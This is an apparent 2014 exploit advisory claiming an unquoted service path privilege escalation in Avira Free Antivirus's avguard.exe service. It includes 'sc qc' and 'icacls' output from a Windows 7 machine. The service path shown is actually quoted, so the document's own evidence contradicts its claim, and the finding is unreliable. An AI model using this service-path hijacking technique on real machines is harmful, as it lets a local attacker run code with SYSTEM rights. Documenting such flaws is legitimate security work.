# Exploit Title: Avira 14.0.7.342 (avguard.exe) Service Trusted Path Privilege Escalation # Date: 11/12/2014 #Author: Hadji Samir s-dz@hotmail.fr #Product web page: http://www.avira.com/ #Affected version: 14.0.7.342 #Tested on: Windows 7 (FR) Avira free antivirus 14.0.7.342 (avguard.exe) Avira free antivirus 14.0.7.342 contains a flaw in the 'avguard.exe' file that may reportedly allow gaining access to unauthorized privileges. The issue is due to an unquoted search path, which may allow a local attacker to inject arbitrary code in the root path. C:\Users\samir>sc qc AntiVirService [SC] QueryServiceConfig réussite(s) SERVICE_NAME: AntiVirService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Avira\AntiVir Desktop\avguard.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Avira Real-Time Protection DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\samir>icacls "C:\Program Files\Avira\AntiVir Desktop\avguard.exe" C:\Program Files\Avira\AntiVir Desktop\avguard.exe AUTORITE NT\Système:(I)(F) BUILTIN\Administrateurs:(I)(F) BUILTIN\Utilisateurs:(I)(RX) 1 fichiers correctement traités ; échec du traitement de 0 fichiers